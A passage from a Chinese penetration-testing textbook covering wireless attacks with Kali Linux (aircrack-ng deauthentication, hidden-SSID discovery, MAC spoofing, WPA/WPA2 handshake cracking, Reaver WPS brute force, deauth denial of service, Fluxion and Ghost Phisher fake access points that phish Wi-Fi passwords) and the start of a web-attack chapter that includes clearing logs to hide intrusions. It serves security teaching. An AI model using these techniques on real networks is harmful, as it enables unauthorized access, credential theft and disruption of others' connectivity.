  ·针对无线通信的拒绝服务（Denial-of-Service，DoS）攻击。


  6.1　为无线攻击配置Kali


  Kali Linux发布的几个工具使无线网络的测试变得很容易。当然，这些攻击还需要额外的配置，以达到充分有效。除此之外，测试人员在实施攻击或审计无线网络之前，应该拥有丰富的无线网络背景。


  在无线安全测试中，最重要的工具是无线适配器，连接到无线接入点。它必须支持所使用的工具，尤其是aircrack-ng工具套件。具体就是，该卡的芯片和驱动器必须具备向通信流注入无线数据包的能力。这是某种攻击的要求，即必须在目标和受害者之间的通信流注入特定类型的数据包。所注入的数据包可能会引起拒绝服务攻击，允许攻击者获取破解加密密钥或支持其他无线攻击所需要的信号交换数据。


  aircrack-ng网站（www.aircrack-ng.org）包含一个已知兼容的无线适配器列表。


  在Kali中使用最可靠的适配器是Alfa网卡，尤其是AWUS036NH或者WiFi-pineapple适配器，它支持无线802.11b、802.11g和802.11n协议。Alfa网卡已在现有网络中使用，并支持Kali的所有测试和攻击。

 
 6.2　无线侦察
 
 实施无线攻击的第一步是进行侦察——它可以识别准确的目标接入点，并高亮可能影响测试的其他无线网络。
 
 如果你使用的是连接USB的无线网卡连接到Kali虚拟机，要确保USB连接已经断开主机操作系统，并通过单击USB连接图标连接到虚拟机，如图6-1所示，箭头所指即USB连接图标。
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 图6-1　USB连接图标
 
 接下来，通过在命令行中运行iwconfig命令，确定哪些无线接口是可用的，如图6-2所示。
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 图6-2　确定可用无线接口
 
 对于某些特定攻击，你可能希望增加适配器的输出能力。如果你处理的是一个合法的同位无线接入点，并且你想要目标连接在你控制之下的虚假的接入点，而不是合法的接入点，那么这是特别有用的。这些虚假或者流氓（rogue）接入点，允许攻击者截获数据，并根据攻击的需要查看或更改数据。攻击者频繁复制或克隆合法的无线站点，然后增加其相对合法站点更强的传输能力，来作为吸引受害者的手段。使用如下命令增加传输能力：
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 使用aircrack-ng及其相关工具可以执行许多攻击。首先，我们需要拦截或监控无线传输。因此，我们需要使用airmon-ng命令，为监控模式（monitor mode）设置拥有无线功能的Kali通信接口：
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 前面命令的执行结果如图6-3所示。
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 图6-3　使用airmon-ng命令
 
 注意，返回的描述表明有些进程可能会造成麻烦。处理这些进程最有效的方法是使用综合性的kill命令，如下所示：
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 使用以下命令查看本地无线环境：
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 前面的命令列出了特定时间点可以在无线适配器范围内找到的所有已识别的网络。它提供由MAC地址识别的无线网络节点的基本服务集标识符（Basic Service Set Identifier，BSSID），标明了相对的输出能力、数据包发送的信息、包含使用通道和数据的带宽信息、使用的加密信息，以及提供无线网名称的扩展服务集标识符（Extended Service Set Identifier，ESSID）。相关信息如图6-4所示，非必需的ESSID已经被模糊。
 
 airodump命令通过可用的无线信道循环执行，并确定了以下几点：
 
 ·基本服务集标识符，它是可以标识无线接入点或路由器的唯一MAC地址。
 
 ·每个网络的PWR或能力。尽管airodump-ng错误地显示能力为负值，但这是一个人为的报告。为了获取正确的正值，接入终端并运行airdriver-ng unload36，然后运行airdriver-ng load35。
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 图6-4　显示ESSID标识符
 
 ·CH显示了用于广播的信道。
 
 ·ENC显示使用的加密技术——它是OPN或开放的（没有加密），或者WEP或WPA/WPA2（使用加密）。CIPHER和AUTH提供额外的加密信息。
 
 ·扩展服务集标识符是由拥有相同SSID或名称的接入点组成的无线网络的名称。
 
 在终端窗口的下半部分，你将看到站点试图连接或已经连接到无线网络。
 
 在我们和其他任何目标（潜在的）网络交互之前，必须确认无线适配器有数据包注入的能力。要做到这一点，需在终端窗口的shell提示符下，运行以下命令：
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 以上命令的执行结果如图6-5所示，其中-9表示注入测试。
 
  
  [image: ] 
 
 
 图6-5　测试命令
 
 Kismet
 
 无线侦察最重要的工具之一是Kismet，它是一个802.11无线探测器、嗅探器和入侵检测系统。
 
 Kismet可用于收集以下信息：
 
 ·无线网络的名称，ESSID。
 
 ·无线网络的信道。
 
 ·接入点的MAC地址，BSSID。
 
 ·无线客户端的MAC地址。
 
 Kismet也可以用来嗅探802.11a、802.11b、802.11g和802.11n等无线通信流量中的数据，并支持用于嗅探其他无线协议的插件。
 
 在终端窗口的命令提示符下输入kismet启动Kismet。
 
 当Kismet启动后，你将面临一系列的问题，允许你在其启动过程中对其进行配置。用Yes回应Can you see colors，接受Kismet is running as root（Kismet以root权限运行），并对Start Kismet Server选择Yes。在Kismet的启动选项中，不选中Show Console（显示控制台），因为它会遮挡屏幕。
 
 系统将提示你添加一个捕捉接口，通常我们选择wlan0。
 
 接下来Kismet将开始嗅探数据包，并收集位于临近物理区域的所有无线系统信息（见图6-6）。
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 图6-6　运行Kali的Kismet
 
 通过双击选择一个网络，你可以在无线网络上看到一些额外的信息。
 
 你也可以下拉以确定连接到各种无线网络的特定客户端。
 
 使用Kismet作为发起一些特定的攻击（嗅探传输的数据）或识别网络的初始侦察工具。因为它能被动地收集连接数据，所以它是一个很好的识别隐藏网络的工具，尤其是当SSID未被公开传输时。
 
 
 6.3　绕过隐藏的服务集标识符
 
 ESSID是标识一个无线局域网络的唯一字符序列。通过隐藏ESSID来试图实现网络安全是一种很差的方法。不幸的是，ESSID可以通过以下方式获得：
 
 ·嗅探无线环境，等待客户端关联到一个网络，然后捕获该关联。
 
 ·主动取消认证客户端，强制客户端关联，然后捕获该关联。
 
 aircrack工具特别适合捕捉需要取消ESSID隐藏的数据，如以下步骤所示：
 
 1.在命令提示符下，输入以下命令，确认无线在受攻击系统中已经启动：
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 2.使用下面的ifconfig命令，检查可用接口，并确定你使用的无线系统的确切名称。
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 3.输入以下命令来启用无线接口（你可能需要用上一步中标识的可用无线接口替换wlan0）：
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 4.如果你使用ifconfig再次确认（见图6.7），你会发现有一个监控或wlan0mon地址正在被使用。现在，使用airodump确认可用的无线网络，输入以下命令：
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 图6-7　使用ifconfig确认可用无线网络
 
 正如你所看到的，第一个网络的ESSID被标识认定为<length：0>。没有其他的名字或名称使用。隐藏的ESSID的长度确定由9个字符组成。然而，这个值可能不正确，因为ESSID是隐藏的。真正的ESSID长度实际上可能短于或超过9个字符。
 
 最重要的是可能存在已连接到该特定网络的客户端。如果客户端存在，我们将取消认证客户端，迫使它们在重新连接到接入点时发送ESSID。
 
 5.重新运行airodump，并滤掉目标接入点之外的一切信息。在这种特殊情况下，我们将重点从隐藏网络的信道6上收集数据，使用以下命令：
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 执行该命令删除多个无线源的输出，并允许攻击者把重点放在目标ESSID上，如图6-8所示。
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 图6-8　删除多个无线源的输出
 
 执行airodump命令时得到的数据表明，这有两个站点（E8：2A：EA：C1：F6：E2和DC-A9：04：78：29：1B）已连接到BSSID（F0：7D：68：44：61：EA），而这又与隐藏的ESSID相关联。
 
 6.为了捕获正在传输的ESSID，我们必须创建一种条件，即可以让我们知道，这将在客户端和接入点之间连接的初始阶段发送。
 
 因此，我们将针对客户端和接入点发起一个取消认证的攻击，发送一个可以中断它们之间的连接并迫使它们重新认证的数据包流。
 
 发动攻击，打开一个新的命令shell，并输入如图6-9所示的命令（0表明我们正在启动一个取消认证攻击，10表明我们将发送10个取消认证数据包，-a是目标接入点，c是客户端的MAC地址）。
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 图6-9　发动攻击
 
 7.在所有的取消认证数据包发送之后，返回监视信道6中网络连接的原始窗口，如图6-10所示。现在，你将看到清晰的ESSID。
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 图6-10　看到清晰的ESSID
 
 知道ESSID可以帮助攻击者确认他们正在关注的是正确的网络（因为大多数ESSID基于企业标识），并使登录过程更便利。
 
 
 6.4　绕过MAC地址验证和公开验证
 
 媒体访问控制（Media Access Control，MAC）地址，用于在网络中唯一地标识每个节点。它是由六对用冒号或连字符分开的十六进制形式的数字（0～9和字母A到F）组成的，通常看起来像这个样子：00：50：56：C0：00：01。
 
 MAC地址通常关联到一个拥有网络连接能力的网络适配器或设备。因为这个原因，它经常被称为物理地址。
 
 MAC地址的前三对数字被称为组织唯一标识符（Organizational Unique Identifier），它们用来确定生产或销售设备的公司。最后三对数字是特定于设备的，可以认为是一个序列号。
 
 因为MAC地址是唯一的，它可以用来将一个用户关联到一个特定的网络，尤其是无线网络。这有两个重要的含义——它可以用来识别网络访问者是一名黑客还是一名合法的网络测试人员，它也可以用来认证个体身份并授权他们访问网络。
 
 在渗透测试的过程中，测试人员可能更喜欢匿名访问网络。支持匿名信息的方法是改变攻击系统的MAC地址。
 
 这可以使用ifconfig命令手动完成。要确定现有的MAC地址，在命令行shell中运行以下命令：
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 要手动更改IP地址，使用下面的命令：
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 替换不同的十六进制对的“xx”表达式。这个命令将允许我们更改攻击系统的MAC地址为受害者网络使用并接受的MAC地址。攻击者必须确保这个MAC地址并没有在网络上使用，否则，如果网络被监控，重复的MAC地址可能会触发警报。
 
 [image: ]在改变MAC地址之前，无线接口必须关闭。
 
 Kali还允许使用一个自动化工具macchanger。要改变攻击者的MAC地址为同一供应商生产的产品的MAC地址，可从终端窗口中使用如下macchanger命令：
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 要改变现有的MAC地址为一个完全随机的MAC地址，可使用以下命令，运行该命令后的屏幕截图如图6-11所示：
 
  
  [image: ] 
 
 
  
  [image: ] 
 
 
 图6-11　运行macchanger wlan0-r
 
 有些攻击者在测试过程中使用自动化脚本频繁地改变他们的MAC地址，以匿名化他们的攻击活动。
 
 许多组织，尤其是学院和大学等大型学术团体，使用MAC地址过滤来控制谁可以访问无线网络资源。MAC地址过滤使用网卡上唯一的MAC地址来控制对网络资源的访问。在典型的配置中，组织会维护一个允许访问网络的MAC地址白名单（whitelist）。如果传入的MAC地址不在已批准的访问列表中，将限制其连接到该网络。
 
 不幸的是，MAC地址信息以明文传输。攻击者可以使用airodump收集可接受的MAC地址列表，然后手动改变MAC地址为目标网络接受的MAC地址。因此，这种类型的过滤几乎没有为无线网络提供任何实质的保护。
 
 一种最新水平的无线保护是由加密提供的。
 
 
 6.5　攻击WPA和WPA2
 
 无线访问保护（WiFi Protected Access，WPA）和无线访问保护2（WiFi Protected Access2，WPA2）是用于解决WEP安全缺陷的无线安全协议。因为WPA协议可以为每一个数据包动态生成新的密钥，阻止那些导致无线访问保护失败的统计分析。然而，它们仍然很容易受到一些攻击技术的攻击。
 
 WPA和WPA2经常使用预共享密钥（Pre-Shared Key，PSK）进行部署，来提供访问点和无线客户端之间的安全通信。PSK是一个至少13个字符长的随机密码。如果不是13字符长，可以通过将其与一个已知的字典进行比较，使用暴力破解来确定。这是最常见的攻击。
 
 [image: ]如果是在Enterprise模式中进行配置，使用了RADIUS认证服务器提供身份认证，则可能需要更强大的机器来破解密钥，或者执行不同类型的中间人攻击。
 
 
 6.5.1　暴力破解
 
 不像WEP可以被对大量数据包的统计分析所破解，WPA解密需要攻击者创建特定的、已知详细信息的数据包类型，如接入点和客户端之间的信号交换信息。
 
 攻击一个WPA传输，应该执行以下步骤：
 
 1.启动无线适配器，并使用ifconfig命令来确保监控接口已创建。
 
 2.使用airodump-ng-wlan0识别目标网络。
 
 3.使用以下命令开始捕获目标接入点和客户端之间的流量：
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 4.设置-c以监控特定信道，--showack标志用来确保客户端计算机认可你的请求，即从无线接入点取消认证，而--write把输出写入一个用于后续字典攻击的文件中。这种攻击的典型输出如图6-12所示。
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 图6-12　一个典型的输出
 
 5.使该终端窗口处于打开状态，并打开另一个终端窗口发起取消认证攻击。这将迫使用户重新认证目标接入点，并再次交换WPA密钥。取消认证攻击的命令如下所示：
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 执行上述命令的结果如图6-13所示。
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 图6-13　执行aireplay-ng-0 10命令
 
 6.成功的取消认证攻击将显示ACKs，这表明连接到目标接入点的客户端，已接收到刚刚发送的取消认证命令。
 
 7.回顾最初用于监控无线传输的开放命令脚本，确保你捕获了4次握手包。一个成功的WPA握手会在控制台的右上角显示。在图6-14的示例中，数据显示WPA握手的值是F0:7D:68:44:61:EA。
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 图6-14　捕获握手包
 
 8.用aircrack破解WPA密钥，使用一个定义的词库。由攻击者定义的用于收集握手信息数据的文件名位于根目录下，而且.cap的扩展名将被加载到该文件名中。
 
 在Kali中，词库位于/usr/share/wordlists目录中。虽然几种词库均是可用的，但还是建议你下载破解常见密码时更有效的列表。
 
 在上述示例中，密钥被预先放置在密码列表里。对长而复杂的密码进行字典攻击可能需要花费几个小时，这取决于系统的配置。下面的命令使用words作为源词库。
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 图6-15显示了成功破解WPA密钥的结果，在测试了6个常见密钥后，找到了网络管理员的密钥为“Letmein!@1”。
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 图6-15　破解密钥
 
 如果你手上没有一个定制的密码列表或者希望迅速生成一个列表，你可以使用Kali的crunch应用程序。下面的命令指示crunch程序使用给定的字符集，创建一个最小长度为5字符且最大长度为25字符的单词列表：
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 你还可以使用基于GPU的密码破解工具（用于AMD/ATI显卡的oclHashcat和用于英伟达显卡的cudaHashcat），提高暴力破解的有效性。
 
 要实现这种攻击，首先需要使用以下命令把WPA握手信号捕获的文件psk-01.cap转换成hashcat文件：
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 转换完成后，针对最新捕获文件（选择匹配CPU架构和显卡的hashcat版本），使用以下命令运行hashcat：
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 如果有多个GPU，可以利用Pyrit来破解密码。Pyrit允许攻击者创建大量预先计算的WPA/WPA-PSK协议。Pyrit可以从https://github.com/JPaulMora/Pyrit下载。该工具通过多CPU的计算能力利用其他平台，如ATI-Stream、Nvidia CUDA和OpenCL。攻击者可以将John the Ripper、cowpatty与Pyrit一起使用，通过在终端中使用以下命令从捕获的无线流量中破解密码：
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 基本上，John the Ripper将为所有的字符、特殊字符和数字逐步创建一个字典。之后，输出将传递给Pyrit，使用passthrough关键字破解密码，另外cowpatty会破解特定WiFi-ESSID的密码。
 
 
 6.5.2　使用Reaver攻击无线路由器
 
 WPA和WPA2也很容易受到针对接入点的无线保护设置（WiFi Protected Setup，WPS）和个人识别码的攻击。
 
 大多数接入点支持WPS协议，其在2006年成为一个允许用户很轻松地设置和配置接入点的标准，并可以为现有网络增加新设备，而无须重新输入大量且复杂的密码。
 
 不幸的是，个人识别码为一个8位数字序号（可能是100 000 000），并且最后一个数字是一个校验值。因为WPS认证协议把该个人识别码一分为二，并分别对其进行验证，那就意味着它的前半部分的值为104（10 000），后半部分的值可能为103（1 000）——攻击者只需通过进行最多11 000次猜测就能破解该接入点！
 
 Reaver是一种旨在最大限度地进行猜测的工具（尽管Wifite同样可以进行WPS猜测）。
 
 要进行Reaver攻击，可以通过如下命令使用一个叫作wash的同类工具来识别任何漏洞网络：
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 如果存在任何漏洞网络，可以使用如下命令发起攻击：
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 在终端窗口运行reaver工具时，应该可以看到如图6-16所示的画面。
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 图6-16　运行reaver工具
 
 在Kali中测试这种攻击表明，这种攻击速度缓慢且容易失败。然而，它可以用作背景攻击，或者补充其他路由攻击来破解WPA网络。
 
 
 6.6　无线通信的拒绝服务攻击
 
 我们将要评估的最后一个针对无线网络的攻击是拒绝服务攻击（Denial-of-Service,DOS），在这里，攻击者将使合法用户丧失无线网络的访问权限，或通过致使网络崩溃的方法使网络不可用。无线网络极其容易受拒绝服务攻击，并且在分布式的无线网络上，很难定位攻击者。拒绝服务攻击的例子包括以下内容：
 
 ·注入创建的网络命令，比如重新配置命令，这些命令进入无线网络后可能引起路由器、交换机和其他网络设备失效。
 
 ·一些设备和应用程序可以识别正在发生攻击，并通过自动禁用网络来实现响应。恶意的攻击者可以发起一个很明显的攻击，然后让目标自己创建拒绝服务攻击。
 
 ·用大量数据包洪泛攻击无线网络，可致使该网络不可用。例如，让数千个页面请求同时到达一个Web服务器的HTTP洪泛攻击，可以耗尽该Web服务器的处理能力。同样，使用认证和关联数据包块，用户可从其连接的接入点洪泛攻击该网络。
 
 ·攻击者可以创建特定的解除认证和解除关联的命令，用于在无线网络中关闭授权连接并洪泛攻击该网络，从而阻止合法用户保持他们到无线接入点的连接。
 
 为了演示最后一点，我们将通过使用取消认证数据包洪泛攻击一个网络来创建一个拒绝服务攻击。因为无线802.11协议是为支持在接收到已定义的数据包时支持解除认证而构建的（从而让用户在连接不需要时可以中断该连接），这可能是一个毁灭性的攻击——它符合标准，并且没有办法可以阻止其发生。
 
 使合法用户关闭网络最简单的方法是针对他们使用一个解除认证数据包流。这些可以在aircrack-ng工具套件的帮助下完成，使用如下命令：
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 此命令确定攻击类型为-0，表明它是一个取消认证攻击。第二个0（零）发起连续的取消认证数据包流，使得网络无法为其他用户所用。
 
 Websploit框架是用来扫描和分析远程系统的一个开源工具。它包含几种工具，包括特定于无线攻击的工具。要启动它，需要打开一个命令脚本并简单地输入websploit。可以通过在终端运行apt-get install websploit来安装它。
 
 Websploit界面类似于recon-ng和Metasploit框架，呈现给用户的是一个模块化界面。
 
 一经启动，可以使用show modules命令来显示现有版本中的攻击模块。使用use wifi/wifi_jammer命令选择WiFi干扰发射机（一种取消认证数据包流）。如图6-17所示，攻击者只需要使用set命令来设置各种选项，然后选择run发起攻击。
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 图6-17　使用wifi_jammer命令
 
 
 6.7　破解WPA/WPA2企业版实现
 
 WPA企业版是一种广泛应用于企业的技术。它不使用单个WPA-PSK（大多数用户使用单个WPA-PSK连接到无线网络）。为了兼顾域名账户的治理与灵活性，企业会采用WPA的企业版实现。
 
 破解企业无线网络的典型方法是：首先枚举无线设备，最后攻击连接的客户端，目的是找出认证细节。这包括欺骗目标网络，并向客户端提供良好的信号。然后，原有的有效接入点接入延迟，在接入点（Access Point，AP）和连接到AP的客户端之间导入了MiTM攻击。为了模拟企业WPA攻击，当他们有一定量的接入点时，攻击者必须在物理上靠近目标。攻击者还可以使用Wireshark嗅探流量，以识别无线网络流量握手。
 
 本节我们将学习两种通常用于对WPA/WPA2企业版执行各种类型攻击的工具。
 
 Wifite是预装在Kali Linux系统中的一种自动无线攻击工具，它是由Python语言编写的。Wifite的最新版本为V2，包含已知的aircrack-ng漏洞。
 
 Wifite可以通过以下攻击获取无线接入点的密码：
 
 ·WPS：离线Pixie Dust攻击和在线暴力破解识别码攻击。
 
 ·WPA：WPA握手捕获和离线破解，以及PMKID哈希捕获和离线破解。
 
 ·WEP：所有上面提到的攻击，还包括chop-chop攻击、碎片攻击和aireplay注入。
 
 现在我们启动Wifite来发起WPA4步握手捕获，随后进行自动密码破解攻击。在终端窗口键入wifite可以直接启动该工具。如图6-18所示，在交互模式下，攻击者可以自己选择接口。
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 图6-18　Wifite启动界面
 
 选择好接口后，网络适配器就处于监视模式，开始自动监听所有的WiFi ESSID（不管其是否是WPS），包括信道、加密信息和信号强弱，以及连接到特定ESSID的客户端数目。选择好目标ESSID后，攻击者可以按下键盘的“Ctrl+C”实施攻击。
 
 默认情况下，会自动发起4种类型的攻击：WPS Pixie Dust、WPS PIN、PMKID和WPA握手攻击。如果前三种攻击无效，攻击者可以按下“Ctrl+C”直接跳过它们。当捕获到握手包后，攻击者可以查看连接到站点的客户端信息。默认情况下，捕获信息会存放在当前目录：hs/handshake_ESSID_MAC.cap。
 
 成功捕获握手包后，可以通过tshark、Pyrit、cowpatty和aircrack-ng命令进行分析，进而验证握手包的ESSID和BSSID。
 
 利用aircrack-ng可以让Wifite自动运行词库破解。在启用Wifite时，键入wifite-wpa-dict/path/customwordlist可以直接跳过自定义词库。如图6-19所示，成功的握手破解通常会返回无线接入点（路由器）的密码。
 
 所有破解的密码都保存在cracked.txt文件中，文件位于Wifite当前运行的文件夹。Wifite还有一个匿名特征，可以在攻击前将MAC地址修改为一个随机地址，攻击完成后再改回原地址。
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 图6-19　返回无线接入点密码
 
 下面我们深入了解Fluxion。Fluxion是一种自动无线攻击工具，可以逃开无线，并创建恶意的访问点，它是用Bash和Python混合编写的。
 
 可以通过运行git clone https//github.com/wi-fi-analyzer/fluxion.git来下载Fluxion最新版本。这个工具是基于linset脚本（一种双面恶魔攻击Bash脚本，https://github.com/vk496/linset）的。
 
 攻击者可以利用此工具发起以下类型的攻击：
 
 ·扫描无线网络。
 
 ·利用数据包捕获来查找握手（提供有效的已经完成的握手）。
 
 ·提供Web接口。
 
 ·在几秒钟内创建假的AP以模仿原始AP。
 
 ·它能够产生MDK3（一种将数据包注入无线网络的工具）。
 
 ·自动启动假DNS服务器，以捕获所有DNS请求并将其重定向到托管机器。
 
 ·为密码密钥创建一个假网页门户。
 
 ·一旦找到密钥，自动终止会话。
 
 一旦克隆完Fluxion，确保运行installer.sh（位于install文件夹），以便安装Fluxion正常运行所需的所有依赖项和库。成功安装的Fluxion截图如图6-20所示。
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 图6-20　成功安装Fluxion
 
 Fluxion允许攻击者从11种不同的语言中进行选择。选择语言后，将需要从笔记本电脑/PC上所有可用的无线LAN接口进行选择。选择接口后，提供选择扫描特定信道或扫描所有网络信道的选项，攻击者可以根据目标WiFi选择信道。扫描完成并识别无线AP列表后，按Ctrl+C移至下一个屏幕，如图6-21所示。
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 图6-21　识别无线AP列表
 
 一旦有了无线AP的所有列表，攻击者可以继续处理任何选定的网络。例如，在图6-21中，攻击者将目标选择为16（Cyber Lab），它正在加密WPA2上运行，并进入模拟WiFi的下一个阶段，就像复制自己的基础架构和设置一样，它没有太大的区别。Fluxion允许我们选择2个选项，如图6-22所示。
 
 以下是这两个选项：
 
 ·通过Hostapd设置FakeAP。
 
 ·使用airbase-ng设置FakeAP。
 
  
  [image: ] 
 
 
 图6-22　Fluxion选项
 
 FakeAP是一个轻松的攻击方法，用于使用相同的名称托管无线AP并利用Websploit来降低信号强度，从而迫使客户端通过FakeAP（假AP）连接到AP。测试者会面临握手检测，出现两个选项：pyrit或者aircrack-ng。
 
 Fluxion的写入方式是自动使用MDK3来对连接到AP的所有客户端进行身份验证，如图6-23所示。
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 图6-23　客户端身份验证
 
 WiFi数据捕获通过另一个窗口同步进行，如图6-24所示。
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 图6-24　数据捕获窗口
 
 一旦用户重新连接到Cyber Lab，在重新连接的过程中，Fluxion就会捕获到握手。如图6-25所示，攻击者就可以移动到下一步，检查握手。
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 图6-25　检测握手包
 
 如果握手失败，按“2”返回重新发起攻击。然而，很少出现攻击者捕获不到握手的情况。如图6-26所示，如果握手有效，那么我们就可以创建自己的SSL证书。测试人员可以选择生成新的SSL证书或使用已有的证书。
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 图6-26　选择SSL证书
 
 如图6-27所示，生成SSL证书后，我们需要选择一个网络接口。Fluxion提供了一个为网络接口选择语言的选项，它会强制要求接入由我们托管的AP的受害者记录适配器的端口。
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 图6-27　选择网络接口
 
 如图6-28所示，测试人员现在可以利用新的接入点发起双面恶魔攻击。
 
 当攻击者发起FakeAP攻击时，可以看到图6-29所示的完全自动运行的画面。其中，DHCP服务器、伪装的DNS服务器和伪装的网站都运行在同一个系统中，即运行Fluxion的Kali Linux系统。
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 图6-28　发起双面恶魔攻击
 
  
  [image: ] 
 
 
 图6-29　FakeAP自动攻击
 
 攻击者可以在Wifi Information（WiFi信息）栏确认是否有受害者接入攻击者的假接入点。图6-30显示了接入点的相关信息，以及Clients Online下伪装的IP地址和原始的MAC地址。
 
 另一方面，接入伪AP的受害者将被提供一个附加模式使其登录后可以访问互联网。
 
 图6-31显示了受害者在Windows接收到的信息。
 
 如图6-32所示，一旦受害者点击附加的登录信息或者试图访问任何URL，那么他们就会被重定向到我们在网络接口选择设定的登录界面。
 
 如果受害者输入正确的WPA密码，那么就可用于从开始阶段捕获的握手破解密码。如图6-33所示，破解的密码会出现在Wifi Information栏，同时，默认情况下，握手和破解的密码会被保存在root文件夹。
 
  
  [image: ] 
 
 
 图6-30　FakeAP自动攻击
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 图6-31　伪AP的登录模式
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 图6-32　重定向登录界面
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 图6-33　破解的密码
 
 [image: ]本节关于Fluxion的所有测试均可在以下网站找到：https://github.com/wi-fi-analyzer/fluxion.git。网上的其他Fluxion克隆都是定制的，且为实验用途存在兼容问题。
 
 
 6.8　使用Ghost Phisher
 
 与Fluxion类似，Kali具有内置应用程序以GUI方式执行WiFi钓鱼活动。Ghost Phisher是为了识别无线连接和以太网安全审计而构建的。它是完全用Python编写的，使用Python QT作为GUI库。
 
 为了获取用户凭据，攻击者可以利用Ghost Phisher应用程序启动假AP，如图6-34所示。
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 图6-34　利用Ghost Phisher应用程序启动假AP
 
 Ghost Phisher目前提供以下可由渗透测试人员或攻击者利用的功能：
 
 ·创建HTTP服务器。
 
 ·DNS服务器。
 
 ·DHCP服务器。
 
 ·凭据记录页面（用于网络钓鱼任何用户名和密码）。
 
 ·接入点仿真器。
 
 ·高级会话劫持模块。
 
 ·Ghost Phisher提供执行ARP缓存中毒选项，以执行MiTM和DoS攻击的选项，类似于ettercap/bettercap。
 
 ·允许攻击者嵌入Metasploit绑定技术。
 
 ·SQLite数据库存储凭据。
 

  6.9　小结


  本章我们研究了成功攻击任何无线网络所需的不同任务、无线适配器配置，以及如何使用aircrack-ng、Kismet等工具配置无线调制解调器以及AP侦察。在这一章中，我们还学习了aircrack-ng工具的全部套件，用来确定隐藏网络、绕过MAC地址认证、破解WPA/WPA2以及WPA企业版。我们学习了如何利用已有的自动化工具Wifite快速捕获握手包并选择合适的词库进行暴力破解。然后，我们还学习了如何使用Fluxion、Ghost Phisher搭建假AP（FakeAP），以及如何针对无线网络执行拒绝服务攻击（DoS）。


  第7章我们将关注如何利用特定于访问类型的方法评估网站，从而执行必要的侦察和扫描来识别可利用的漏洞。我们会看到攻击者如何使用自动化工具来利用这些漏洞，如利用框架和在线密码破解。最后，我们将能够对Web应用程序进行最重要的攻击，然后利用这种Web shell访问来完全渗透Web服务，并研究特定服务为何容易受到DoS攻击。


  第7章　基于Web应用的利用


  在前面的章节中，我们回顾了攻击者的杀链——用来破解网络和设备、发现数据或阻碍访问网络资源的特定方法。在第5章中，我们从物理攻击和社会工程学出发研究了攻击的不同路线。在第6章中，我们看到了无线网络如何被入侵。


  本章我们将重点研究最常见的攻击途径之一——通过网站或基于Web的应用。


  利用现代技术，在市面上我们能看到许多虚拟银行。这些银行没有任何实体机构，仅仅由Web应用和移动应用组成。基于网络的服务无处不在，大部分机构都允许到这些服务的远程的无中断的访问。然而，对于渗透测试人员和攻击者而言，这些Web应用暴露了网络的后端服务、访问网站的用户端的活动、用户和Web应用/服务的数据间的连接。


  本章将重点从攻击者的角度来审视Web应用和Web服务。我们将在第8章回顾针对连接的攻击。


  在本章中，你将学习：


  ·Web应用程序攻击方法。


  ·黑客攻击思维导图。


  ·漏洞扫描。


  ·特定应用程序的攻击。


  ·利用密码漏洞和Web服务漏洞。


  ·利用网络后门维持对目标系统的访问。

 
 7.1　Web应用程序攻击方法
 
 系统的、面向目标的渗透测试总是始于正确的方法。图7-1提供了Web应用程序入侵的方法。
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 图7-1　Web应用攻击方法
 
 攻击方法分为6个阶段：设定目标、爬虫和枚举、漏洞扫描、利用、覆盖痕迹和维持访问，详细解释如下：
 
 1.设定目标（set target）：在渗透测试中设置正确的目标是非常重要的，因为攻击者将更多地关注特定的脆弱系统，以根据杀链方法获得系统级访问。
 
 2.爬虫与枚举（spider and enumerate）：在此阶段，攻击者已经确定了Web应用程序的列表，并深入挖掘特定的漏洞。利用多种方法将爬虫应用于各种网页，并发现与之相关的东西以在下一阶段受益。
 
 3.漏洞扫描（vulnerability scanning）：在这个阶段，所有已知的漏洞都是从众所周知的漏洞数据库收集而来，这些数据库包含公开的漏洞或已知的常见安全错误配置。
 
 4.利用（exploitation）：该阶段用户可以利用已知和未知的漏洞，包括应用程序的业务逻辑。例如，如果一个应用程序管理接口公开，这个应用是脆弱的。攻击者可以直接试着访问接口，通过执行各种类型的攻击，如密码猜测、暴力攻击，或利用特定管理接口漏洞（JMX控制台攻击管理接口，无须登录和部署特别文件且运行一个远程Web shell）。
 
 5.覆盖痕迹（cover track）：在这个阶段，攻击者清除所有攻击的证据。例如，如果一个系统已经被上传文件漏洞和服务器上执行的远程命令破坏了，那么攻击者将尝试清除应用服务器日志、Web服务器日志、系统日志和其他日志。一旦痕迹被覆盖，攻击者就会确保不留下任何可以揭示其利用来源的日志。
 
 6.维持访问（maintain access）：攻击者可能会植入一个后门程序，或利用系统执行特权升级，或将系统作为一个僵尸来执行更聚焦的内部攻击，如在共享的驱动器上传播勒索软件，或者对于大型机构，将受害系统都加到一个域，控制整个企业域。
 
 
 7.2　黑客的思维导图
 
 人类的思维是无可替代的，本节将更加关注如何从攻击者的角度来看待Web应用。
 
 图7-2显示了Web应用的黑客思维导图。
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 图7-2　Web应用黑客思维导图
 
 思维导图被分成两类：攻击者可以攻击服务器端漏洞或者客户端漏洞。这些漏洞通常由于以下原因产生：
 
 ·使用了旧的或未更新补丁的技术。
 
 ·新技术的安全配置不充分。
 
 ·代码编写未考虑安全性。
 
 ·人为因素：缺少技术的员工。
 
 对于服务器端，攻击者通常可以发起以下攻击：
 
 ·Web应用防火墙入侵。
 
 ·注入攻击。
 
 ·远程代码执行。
 
 ·远程文件包含或本地文件包含。
 
 ·目录路径遍历。
 
 ·利用会话管理。
 
 ·利用系统或应用的逻辑漏洞。
 
 ·识别可以帮助攻击者执行专用攻击的其他相关信息。
 
 客户端攻击更侧重于利用客户端存在的漏洞，包括浏览器、应用程序（厚/薄客户端）或网络：
 
 ·Flash漏洞：截止到2018年12月8日，Flash播放器有1 068个已知漏洞（https://www.cvedetails.com/vulnerability-list/vendor_id-53/product_id-6761/Adobe-Flash-Player.html）。
 
 ·JavaScript漏洞和Java漏洞。
 
 ·DNS的钉扎或重新绑定漏洞。DNS重新绑定是一种基于DNS将恶意代码嵌入Web页面的攻击。通常，来自Web页面（JavaScript、Java和Flash）中的代码请求被绑定到它们源自的网站（参见同源策略）。DNS重新绑定攻击可以用来提高JavaScript恶意软件渗透私有网络的能力，并破坏浏览器的同源策略。
 
 ·非DNS的钉扎漏洞。
 
 ·脚本注入漏洞/跨站脚本攻击：反射、持久性（存储）和基于DNS的漏洞。
 
 考虑到所有的漏洞列表，攻击者现在装备了完整的开发工具包列表，并准备开始一个网站的侦察活动。
 

  7.3　Web应用的侦察


  Web应用以及这些应用提供的服务是特别复杂的。通常情况下，交付给最终用户的服务使用的是多层架构的应用服务器和Web服务器，这些服务器面向互联网的公众开放，同时与中间件服务、后端服务器和位于网络上的数据库进行通信。


  在测试过程中，必须考虑引起复杂度上升的几个额外因素，其中包括以下内容：


